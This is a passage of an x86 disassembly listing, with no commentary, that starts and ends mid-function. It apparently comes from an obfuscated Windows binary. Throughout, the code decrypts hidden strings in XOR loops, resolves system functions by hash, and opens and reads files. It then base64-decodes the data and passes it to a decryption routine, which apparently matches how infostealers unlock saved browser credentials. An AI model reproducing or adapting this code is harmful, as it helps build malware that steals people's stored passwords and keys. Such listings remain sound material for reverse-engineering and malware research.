mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x42aef0
mov byte [edi], 0xa
inc edi
push 0xa7ffa4f5
push dword [0x44f260]
call fcn.00441930
add esp, 8
mov esi, eax
jmp dword [0x44a194]
mov dword [esp + 4], edi
mov edi, dword [esp + 0x78]
jmp dword [0x44a1a0]
push dword [esp + 0x70]
mov esi, edx
call fcn.004083f0
mov edx, esi
add esp, 4
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44a118]
push dword [esp + 0x84]
call esi
push dword [esp + 0x84]
call esi
mov dl, 1
jmp dword [0x44a19c]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42afc2
mov esi, dword [esp]
mov edi, dword [esp + 0x74]
mov ebx, dword [esp + 8]
jmp dword [0x44a1c8]
mov eax, ebx
and al, 1
movzx ecx, al
mov eax, ebx
jmp dword [ecx*4 + 0x44a1d0]
jmp dword [0x44a1d8]
push eax
push 4
push ecx
push dword [0x44f274]
call fcn.0043fac0
add esp, 0x10
mov esi, dword [esp]
mov edi, dword [esp + 0x74]
mov ebx, dword [esp + 8]
jmp dword [0x44a1c8]
int3
jmp dword [0x44a21c]
mov dword [esp + 0x3c], esi
mov dword [esp], 0x631b6124
mov dword [esp + 4], 0x67056517
mov dword [esp + 8], 0x7b087907
mov dword [esp + 0xc], 0x7f7e7d18
lea edx, [esp + 0x10]
mov byte [esp + 0x10], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 0x18
xor esi, 0x98
mov ecx, eax
and ecx, 7
sub ecx, esi
xor cl, byte [esp + eax]
add cl, 0xf8
mov byte [esp + eax], cl
inc eax
cmp eax, 0x11
jne 0x42b130
mov dword [esp + 0x58], ebp
lea edi, [esp + 0x9e]
mov esi, esp
mov ecx, 4
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
lea edi, [esp + 0xae]
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov dword [esp], 0xe17de758
mov dword [esp + 4], 0xdd7fe36d
mov dword [esp + 8], 0xd94cdf4d
mov dword [esp + 0xc], 0xd567db44
mov dword [esp + 0x10], 0xd140d777
mov dword [esp + 0x14], 0xcd40d373
mov dword [esp + 0x18], 0xc9cecf47
mov ecx, 0xb047c459
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x4fb83ba7]
xor edx, ecx
lea esi, [edx + edx]
mov edi, 2
sub edi, esi
not edi
and edi, 2
and esi, 2
sub edx, esi
add edx, edi
add dl, 0x43
mov byte [esp + ecx + 0x4fb83ba7], dl
inc ecx
cmp ecx, 0xb047c475
jne 0x42b1c0
lea edx, [esp + 0xd8]
mov esi, esp
mov edi, edx
mov ecx, 7
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
lea edi, [esp + 0xf4]
lea esi, [esp + 0x1c]
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [esp], 0x91059f58
mov dword [esp + 4], 0x95379305
mov dword [esp + 8], 0x89049705
mov dword [esp + 0xc], 0x8d3a8b2c
mov dword [esp + 0x10], 0x814c8f38
lea ebx, [esp + 0x14]
mov word [esp + 0x14], 0x8380
mov dword [esp + 0x16], 0
mov word [esp + 0x1a], 0
mov ecx, 0x65
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0x65]
mov ebp, ecx
and ebp, edi
lea esi, [ecx - 0x1b559b00]
or esi, edi
xor esi, ebp
mov edi, esi
xor edi, 0x7753fafa
and esi, 0xa80505
add esi, esi
sub esi, edi
mov edi, esi
and edi, 1
xor esi, 1
lea eax, [esi + edi*2]
mov byte [esp + ecx - 0x65], al
inc ecx
cmp ecx, 0x81
jne case.default.0x42b30d
lea esi, [esp + 0xc2]
mov eax, esp
mov edi, esi
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xd6]
mov ecx, 1
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
lea eax, [esp + 0x9e]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], edx
mov dword [esp + 0x98], esi
add dword [esp + 0x58], 2
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x5c], 0
cmp ecx, 0xc
setne al
xor ecx, ecx
mov edi, dword [esp + 0x3c]
jmp dword [eax*4 + 0x44a228]
jmp dword [0x44a230]
push edi
call fcn.004083f0
add esp, 4
mov eax, dword [case.0x42b30d.2]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [esp + 0x5c]
and al, 1
jmp case.0x42a063.114
mov ecx, dword [esp + 0x78]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44a228]
mov dword [esp + 0x78], ecx
mov ebx, dword [esp + ecx + 0x90]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x42b370
mov dword [esp + 0x70], eax
mov edx, eax
sar edx, 1
mov eax, dword [esp + 0x54]
lea ecx, [edx + eax]
add ecx, 0xd
test ecx, ecx
mov dword [esp + 0x48], edx
jns 0x42b3a0
mov eax, 0xffffffff
jmp 0x42b3a9
add eax, edx
lea eax, [eax*2 + 0x1a]
push eax
call fcn.004083e0
add esp, 4
movzx ecx, word [edi]
mov ebp, eax
test cx, cx
je 0x42b3e2
mov edx, dword [esp + 0x58]
mov ebp, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b3d0
mov dword [esp + 0x38], eax
mov word [ebp], 0x5c
mov dword [esp], 0xb1c28ff0
mov dword [esp + 4], 0xb5d7b321
mov dword [esp + 8], 0xb9dab7d7
mov dword [esp + 0xc], 0xbdcfbb98
mov dword [esp + 0x10], 0xa1ddbf28
mov dword [esp + 0x14], 0xa5c5a334
mov word [esp + 0x18], 0xa7a4
mov dword [esp + 0x1a], 0
xor ecx, ecx
nop
nop
nop
nop
movzx esi, byte [esp + ecx]
lea edx, [ecx + 0x6d23c09d]
xor edx, esi
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 0xee
mov byte [esp + ecx], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 0x1e
jb 0x42b430
add ebp, 2
movzx ecx, word [ebx]
test cx, cx
je 0x42b482
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b470
mov word [ebp], 0
movzx ecx, word [esp]
test cx, cx
mov esi, dword [esp + 0x38]
je 0x42b4b2
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b4a0
mov word [ebp], 0
lea eax, [esp + 0x50]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00442370
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x60], ebx
jmp dword [eax*4 + 0x44a238]
xor ebx, ebx
jmp dword [0x44a2b8]
jmp dword [0x44a240]
lea eax, [esp + 0x64]
push 0
push eax
push dword [esp + 0x58]
call fcn.004426f0
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
lea eax, [esp + 0x64]
push 0
push eax
push dword [esp + 0x58]
call fcn.004426f0
add esp, 0xc
jmp dword [0x44a24c]
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44a250]
mov esi, dword [esp + 0x64]
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x5c]
call fcn.004427d0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44a258]
mov eax, dword [esp + 0x64]
mov byte [edi + eax], 0
push edi
call fcn.00401000
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44a260]
mov dword [esp + 0x84], edi
mov ebx, eax
push eax
call fcn.00401960
add esp, 4
mov dword [esp], 0xb8bdaeab
mov dword [esp + 4], 0x5752a4aa
mov dword [esp + 8], 0x40544412
mov dword [esp + 0xc], 0x5f5a5c52
mov dword [esp + 0x10], 0x404d4d4d
mov word [esp + 0x14], 0x5449
mov byte [esp + 0x16], 0xf2
mov dword [esp + 0x17], 0
mov ecx, 0x7a
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x7a]
lea edx, [ecx - 0x52747b00]
or edx, esi
and esi, ecx
sub edx, esi
mov esi, edx
and esi, 0xc02049d
xor edx, 0x9c46649d
lea esi, [edx + esi*2]
add edx, edx
and edx, 2
mov edi, esi
and edi, edx
or edx, esi
xor edx, 1
add edx, edi
mov byte [esp + ecx - 0x7a], dl
inc ecx
cmp ecx, 0x95
jne 0x42b5e0
mov ecx, esp
push ecx
push eax
call fcn.00401aa0
add esp, 8
mov edx, eax
mov ebp, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebp
cmp byte [edx + ebp + 1], 0
lea ebp, [ebp + 1]
jne 0x42b640
mov eax, ebp
and eax, 3
mov esi, ebp
or esi, 3
imul esi, eax
xor eax, 3
mov ecx, ebp
and ecx, 0xfffffffc
imul ecx, eax
add esi, ecx
shr esi, 2
movzx eax, byte [edx + ebp - 1]
cmp eax, 0x3d
je 0x42b678
cmp eax, 0x2e
jne 0x42b679
dec esi
movzx eax, byte [edx + ebp - 2]
cmp eax, 0x3d
mov dword [esp + 0x74], edx
mov dword [esp + 0x80], ebx
je 0x42b693
cmp eax, 0x2e
jne 0x42b694
dec esi
mov dword [esp + 0x7c], esi
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
mov dword [esp + 0x40], eax
test ebp, ebp
je 0x42b7b4
xor ecx, ecx
mov esi, 2
jmp 0x42b6d8
mov ebp, ebx
mov edi, dword [esp + 0x4c]
lea eax, [esi + 4]
add esi, 2
mov ecx, edi
cmp esi, ebp
mov esi, eax
jae 0x42b7b4
mov dword [esp + 0x44], ecx
mov edi, ebp
mov ebp, dword [esp + 0x74]
movzx eax, byte [ebp + esi - 2]
push eax
call fcn.004204d0
add esp, 4
mov ebx, eax
movzx eax, byte [ebp + esi - 1]
push eax
call fcn.004204d0
mov edx, dword [esp + 0x48]
add esp, 4
shl bl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bl
lea ecx, [edx + 1]
mov dword [esp + 0x4c], ecx
mov ecx, dword [esp + 0x40]
mov byte [ecx + edx], ah
mov ebx, edi
cmp esi, edi
jae 0x42b6c0
mov byte [esp + 0x37], al
movzx eax, byte [ebp + esi]
push eax
call fcn.004204d0
add esp, 4
cmp al, 0x40
mov ebp, ebx
mov edi, dword [esp + 0x4c]
je 0x42b6c6
mov ch, al
movzx edx, byte [esp + 0x37]
shl dl, 4
xor al, 0xc0
mov cl, ch
or cl, 0x3c
and cl, al
shr cl, 2
mov eax, ecx
and al, dl
add al, al
xor cl, dl
add cl, al
mov edx, dword [esp + 0x44]
lea edi, [edx + 2]
mov eax, dword [esp + 0x40]
mov byte [eax + edx + 1], cl
lea eax, [esi + 1]
cmp eax, ebp
jae 0x42b6c6
mov eax, dword [esp + 0x74]
movzx eax, byte [eax + esi + 1]
push eax
mov bl, ch
call fcn.004204d0
add esp, 4
cmp al, 0x40
je 0x42b6c6
mov ecx, ebx
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov byte [ecx + edx + 2], al
add edx, 3
mov edi, edx
jmp 0x42b6c6
mov eax, dword [esp + 0x7c]
add eax, 0xfffffffb
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x40]
add eax, 5
mov dword [esp + 0x8c], eax
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
push 0xe18a387a
push dword [0x44f278]
call fcn.00441930
add esp, 8
lea ecx, [esp + 0x68]
lea edx, [esp + 0x88]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov edi, dword [esp + 0x84]
mov ebp, dword [esp + 0x80]
jmp dword [ecx*4 + 0x44a268]
cmp dword [esp + 0x48], 0xfffffff8
jge 0x42b838
mov eax, 0xffffffff
jmp 0x42b83f
mov eax, dword [esp + 0x70]
add eax, 0x10
mov esi, dword [esp + 0x60]
push eax
call fcn.004083e0
add esp, 4
mov ebx, eax
mov dword [esp], 0x178a194b
mov dword [esp + 4], 0x13401584
mov dword [esp + 8], 0xf86119c
mov dword [esp + 0xc], 0xb0a0d80
xor eax, eax
nop
mov ecx, eax
add cl, 0x86
xor cl, byte [esp + eax]
add cl, 0x62
mov byte [esp + eax], cl
inc eax
cmp eax, 0x10
jne 0x42b870
movzx ecx, word [esi]
mov eax, ebx
test cx, cx
je 0x42b8b1
lea edx, [esi + 2]
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b8a0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x42b8e1
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b8d0
mov word [eax], 0
mov ecx, dword [esp + 0x108]
push dword [esp + 0x68]
push dword [esp + 0x70]
push ebx
call fcn.00409180
mov ecx, ebx
mov ebx, eax
jmp dword [0x44a270]
push ecx
call fcn.004083f0
add esp, 4
jmp dword [0x44a278]
jmp dword [0x44a278]
push edi
call fcn.004083f0
add esp, 4
mov edi, dword [esp + 0x3c]
jmp dword [0x44a2f0]
jmp dword [0x44a298]
push dword [esp + 0x40]
call fcn.004083f0
add esp, 4
jmp dword [0x44a2a4]
jmp dword [0x44a2a4]
push ebp
call fcn.00401bd0
add esp, 4
nop
nop
nop
nop
nop
nop
push ebp
call fcn.00401bd0
add esp, 4
jmp dword [0x44a2a8]
jmp dword [0x44a2b0]
push edi
call fcn.004083f0
add esp, 4
mov ebp, dword [esp + 0x50]
mov dword [esp], 0xc0d0a0b
mov word [esp + 4], 0
mov ecx, 0x876a5882
mov edx, 0x7d
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x7895a77e]
mov edi, edx
xor edi, ecx
and edi, esi
xor edi, ecx
add edi, 0xdd1e7479
mov esi, edi
and esi, 0x7d
xor edi, 0xfd
lea eax, [edi + esi*2]
mov byte [esp + ecx + 0x7895a77e], al
inc ecx
dec edx
cmp ecx, 0x876a5888
jne 0x42b9a0
mov ecx, dword [0x44f26c]
test ecx, ecx
je 0x42ba10
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44f270]
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42ba00
inc esi
cmp ecx, esi
jne 0x42b9f0
jmp 0x42ba10
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42bda1
nop
nop
nop
nop
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
jmp dword [0x44a2b8]
jmp dword [0x44a2c4]
push esi
call fcn.004083f0
add esp, 4
nop
nop
nop
push esi
call fcn.004083f0
add esp, 4
jmp dword [0x44a2cc]
movzx eax, bl
jmp dword [eax*4 + 0x44a2d0]
mov eax, dword [esp + 0x54]
mov edx, dword [esp + 0x48]
lea ecx, [edx + eax]
add ecx, 0x17
test ecx, ecx
jns 0x42ba70
mov eax, 0xffffffff
jmp 0x42ba79
add eax, edx
lea eax, [eax*2 + 0x2e]
push eax
call fcn.004083e0
add esp, 4
movzx edx, word [edi]
mov esi, eax
test dx, dx
je 0x42bab1
mov ecx, dword [esp + 0x58]
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], dx
add esi, 2
movzx edx, word [ecx]
add ecx, 2
test dx, dx
jne 0x42baa0
mov dword [esp + 0x38], eax
mov word [esi], 0x5c
mov dword [esp], 0x430e41fc
mov dword [esp + 4], 0x47e545eb
mov dword [esp + 8], 0x4be649e9
mov dword [esp + 0xc], 0x4ffd4d2c
mov dword [esp + 0x10], 0xb31db124
mov dword [esp + 0x14], 0xb717b526
mov dword [esp + 0x18], 0xbb1fb91f
mov dword [esp + 0x1c], 0xbf12bd00
mov dword [esp + 0x20], 0xa334a105
mov dword [esp + 0x24], 0xa70aa501
mov dword [esp + 0x28], 0xab08a90c
mov word [esp + 0x2c], 0xadac
mov eax, esp
mov byte [eax + 0x32], 0
mov dword [eax + 0x2e], 0
mov ecx, 0x8a5aa38f
mov edx, 0x75a55c6f
nop
movzx eax, byte [esp + edx - 0x75a55c6f]
mov dword [esp + 0x4c], eax
lea ebx, [edx + 1]
mov dword [esp + 0x44], ebx
xor ebx, eax
or ebx, ecx
mov edi, ebx
not edi
mov eax, edi
and eax, 0xfd
mov ebp, edi
and ebp, 2
or edi, 2
imul edi, ebp
mov ebp, ebx
and ebp, 2
imul ebp, eax
shr ebx, 1
and ebx, 1
imul ebx, eax
add ebp, edi
lea edi, [edi + ebx*2]
mov eax, edx
sub eax, edi
lea edi, [ecx + ebp]
inc edi
mov ebx, dword [esp + 0x4c]
xor edi, ebx
and eax, ebx
add eax, eax
sub eax, edi
add al, 0xd0
mov byte [esp + edx - 0x75a55c6f], al
dec ecx
mov edx, dword [esp + 0x44]
cmp ecx, 0x8a5aa35c
jne 0x42bb30
add esi, 2
mov ebx, dword [esp + 0x60]
movzx eax, word [ebx]
test ax, ax
je 0x42bbd3
lea ecx, [ebx + 2]
mov edx, dword [esp + 0x48]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42bbc0
jmp 0x42bbd7
mov edx, dword [esp + 0x48]
mov word [esi], 0
movzx eax, word [esp]
test ax, ax
je 0x42bc01
lea ecx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42bbf0
mov word [esi], 0
cmp edx, 0xfffffff7
jge 0x42bc20
mov eax, 0xffffffff
jmp 0x42bc27
mov eax, dword [esp + 0x70]
add eax, 0x12
push eax
call fcn.004083e0
add esp, 4
mov edi, eax
mov dword [esp], 0x33a631e7
mov dword [esp + 4], 0x2fa02db1
mov dword [esp + 8], 0x2bbe29b5
mov dword [esp + 0xc], 0x278425b8
mov word [esp + 0x10], 0x2120
mov eax, esp
mov byte [eax + 0x16], 0
mov dword [eax + 0x12], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
xor edx, 0x2962833
mov ecx, eax
or ecx, 0xc
and ecx, edx
mov edx, ecx
and edx, 0x1d
mov esi, ecx
and esi, 2
or ecx, 2
imul ecx, esi
xor esi, 2
imul esi, edx
mov edx, eax
xor edx, 0xcc
add edx, ecx
add edx, esi
xor dl, byte [esp + eax]
add dl, 4
mov byte [esp + eax], dl
inc eax
cmp eax, 0x17
jne 0x42bc70
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
je 0x42bcd1
add ebx, 2
mov eax, edi
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x42bcc0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x42bd03
lea edx, [esp + 2]
mov esi, dword [esp + 0x38]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42bcf0
jmp 0x42bd07
mov esi, dword [esp + 0x38]
mov word [eax], 0
mov dword [esp], 0x898a8bfa
mov eax, esp
mov byte [eax + 6], 0
mov word [eax + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa3
xor cl, byte [esp + eax]
add cl, 0xd1
mov byte [esp + eax], cl
inc eax
cmp eax, 7
jne 0x42bd30
push 0
push 0
push 0xc00000
lea eax, [esp + 0xc]
push eax
push esi
push edi
push dword [esp + 0x120]
call fcn.004243f0
add esp, 0x1c
mov ecx, dword [esp + 0x5c]
and cl, 1
or cl, al
mov eax, ecx
mov dword [esp + 0x5c], ecx
jmp dword [0x44a2d8]
mov edi, dword [esp + 0x3c]
jmp dword [0x44a2f0]
push esi
call fcn.004083f0
add esp, 4
mov ecx, dword [esp + 0x78]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44a228]
push ebp
push 4
push ecx
push dword [0x44f274]
call fcn.0043fac0
add esp, 0x10
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
jmp dword [0x44a2b8]
push 0xa7ffa4f5
push dword [0x44f260]
call fcn.00441930
add esp, 8
push dword [esp + 0x6c]
call eax
push 0xa7ffa4f5
push dword [0x44f260]
call fcn.00441930
add esp, 8
push dword [esp + 0x6c]
call eax
jmp dword [0x44a280]
xor eax, eax
jmp dword [0x44a210]
push esi
call fcn.004083f0
add esp, 4
push esi
call fcn.004083f0
add esp, 4
xor eax, eax
jmp dword [0x44a224]
lea esi, [esp + 0x78]
lea ebp, [esp + 0x24]
jmp dword [0x44a314]
xor ebx, ebx
jmp dword [0x44a408]
mov dword [esp + 0x28], 0x7662646a
mov dword [esp + 0x2c], 0x727d707e
mov word [esp + 0x30], 0x352b
mov byte [esp + 0x32], 0xd6
mov word [esp + 0x33], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x28]
mov esi, eax
and esi, 0x1a
mov ebp, ecx
xor ebp, 0x3c19c5ad
add ebp, esi
xor ebp, edx
mov edx, ebp
and edx, 0x1e
xor ebp, 0x9e
lea edx, [edx*2]
add edx, ebp
inc dl
mov byte [esp + ecx + 0x28], dl
inc ecx
add eax, 2
cmp ecx, 0xd
jne 0x42c070
movzx ecx, byte [esp + 0x28]
test cl, cl
je 0x42c0f0
lea eax, [esp + 0x28]
mov ebp, ebx
jmp 0x42c0c7
movzx ecx, byte [eax]
test cl, cl
je 0x42c102
movzx edx, byte [ebx]
test dl, dl
je 0x42c100
inc ebx
inc eax
lea esi, [ebp + 1]
cmp dl, cl
je 0x42c0db
mov ebp, esi
mov ebx, esi
je 0x42c0c0
lea eax, [esp + 0x28]
jmp 0x42c0c0
mov ebp, ebx
jmp 0x42c102
xor ebp, ebp
xor eax, eax
test ebp, ebp
sete al
jmp dword [eax*4 + 0x44a358]
jmp dword [0x44a36c]
lea ebx, [ebp + 0xa]
movzx eax, byte [ebp + 0xa]
xor esi, esi
test al, al
je 0x42c110
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x42c140
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42c130
jmp 0x42c110
mov esi, ecx
jmp dword [0x44a36c]
mov ecx, esi
sub ecx, ebx
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x44a370]
xor eax, eax
cmp byte [esi - 1], 0x74
setne al
jmp dword [eax*4 + 0x44a378]
xor eax, eax
cmp byte [esi - 2], 0x78
setne al
jmp dword [eax*4 + 0x44a380]
xor eax, eax
cmp byte [esi - 3], 0x74
setne al
jmp dword [eax*4 + 0x44a398]
xor eax, eax
cmp byte [esi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44a3a0]
mov eax, ecx
inc eax
mov dword [esp], eax
jns 0x42c1c2
mov dword [esp + 4], ecx
mov eax, 0xffffffff
jmp 0x42c1cd
mov eax, dword [case.0x42b30d.97]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 4], ecx
lea eax, [ecx*2 + 2]
push eax
call fcn.004083e0
add esp, 4
mov dword [esp + 0xc], eax
push esi
push ebx
push dword [esp + 8]
push eax
call fcn.0040aae0
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call fcn.00442370
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a3b8]
mov ebx, esi
jmp dword [0x44a3f8]
jmp dword [0x44a3c4]
mov eax, edx
not eax
mov ecx, dword [esp + 0xc]
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
sar ecx, 1
inc ecx
mov eax, dword [esp + 4]
mov dword [esp + 8], ecx
sub eax, ecx
jmp 0x42c2f7
push 0
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call fcn.004426f0
add esp, 0xc
push 0
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call fcn.004426f0
add esp, 0xc
jmp dword [0x44a3cc]
mov edx, dword [esp + 0x1c]
test eax, eax
setns al
cmp edx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44a3d0]
push edx
mov dword [esp + 4], edx
call fcn.004083e0
add esp, 4
push 0
push dword [esp + 4]
mov dword [esp + 0x78], eax
push eax
push dword [esp + 0x20]
call fcn.004427d0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a3d8]
xor edx, edx
mov ecx, dword [esp + 0xc]
jmp 0x42c2c9
add ecx, 2
test ax, ax
je 0x42c2dc
mov dword [esp], edx
movzx eax, word [ecx]
mov edx, ecx
cmp ax, 0x5c
je 0x42c2c1
mov edx, dword [esp]
jmp 0x42c2c1
xor eax, eax
mov edx, dword [esp]
test edx, edx
setne al
jmp dword [eax*4 + 0x44a3e0]
mov dword [esp + 8], 0
xor eax, eax
add eax, 0x1b
push eax
call fcn.004083e0
add esp, 4
mov edx, eax
mov eax, dword [esp + 4]
sub eax, dword [esp + 8]
mov dword [esp + 4], eax
mov dword [esp + 0x28], 0xdcded4b1
mov dword [esp + 0x2c], 0xd1a3d9da
mov dword [esp + 0x30], 0xdebc61d4
mov dword [esp + 0x34], 0xa8eda0d8
mov dword [esp + 0x38], 0x9aeaea8a
mov dword [esp + 0x3c], 0xac969cec
mov word [esp + 0x40], 0xa2af
mov byte [esp + 0x42], 0x76
lea eax, [esp + 0x43]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
mov ecx, eax
add cl, 0x92
xor cl, byte [esp + eax + 0x28]
add cl, 0x26
mov byte [esp + eax + 0x28], cl
inc eax
cmp eax, 0x1e
jne 0x42c35c
movzx ecx, byte [esp + 0x28]
mov dword [esp + 0x6c], edx
mov eax, edx
test cl, cl
je 0x42c394
lea edx, [esp + 0x29]
mov eax, dword [esp + 0x6c]
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42c389
mov byte [eax], 0
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x42c3cf
mov edx, dword [esp + 8]
add ebx, edx
and ecx, 3
je 0x42c3d3
mov dword [esp], ecx
xor ecx, ecx
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
mov byte [eax + ecx], dl
inc ecx
cmp dword [esp], ecx
jne 0x42c3af
add eax, ecx
sub dword [esp + 4], ecx
mov ecx, eax
mov edx, dword [esp + 8]
jmp 0x42c3d3
mov ecx, eax
jmp 0x42c420
add edx, ebp
mov ebp, edx
mov edx, esi
sub edx, ebp
add edx, 0xfffffff5
cmp edx, 3
mov ebp, dword [esp + 4]
jb 0x42c420
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax + 2], cl
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov eax, ecx
add ebp, 0xfffffffc
jne 0x42c3e7
mov byte [ecx], 0
mov ecx, dword [esp + 0xcc]
push dword [esp + 0x1c]
push dword [esp + 0x74]
mov ebx, dword [esp + 0x74]
push ebx
call fcn.00409330
movzx eax, al
mov ecx, dword [esp + 0x10]
and cl, 1
movzx ecx, cl
mov edx, eax
not edx
and edx, ecx
xor eax, ecx
add eax, ecx
cmp eax, edx
setne al
mov dword [esp + 0x10], eax
jmp dword [0x44a3e8]
push ebx
call fcn.004083f0
add esp, 4
jmp dword [0x44a3f0]
jmp dword [0x44a3f0]
push dword [esp + 0x70]
call fcn.004083f0
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], 0xc0d0a0b
mov word [esp + 0x2c], 0
mov ecx, 0x876a5882
mov edx, 0x7d
movzx ebx, byte [esp + ecx + 0x7895a7a6]
mov ebp, edx
xor ebp, ecx
and ebp, ebx
xor ebp, ecx
add ebp, 0xdd1e7479
mov ebx, ebp
and ebx, 0x7d
xor ebp, 0xfd
lea ebx, [ebx*2]
add ebx, ebp
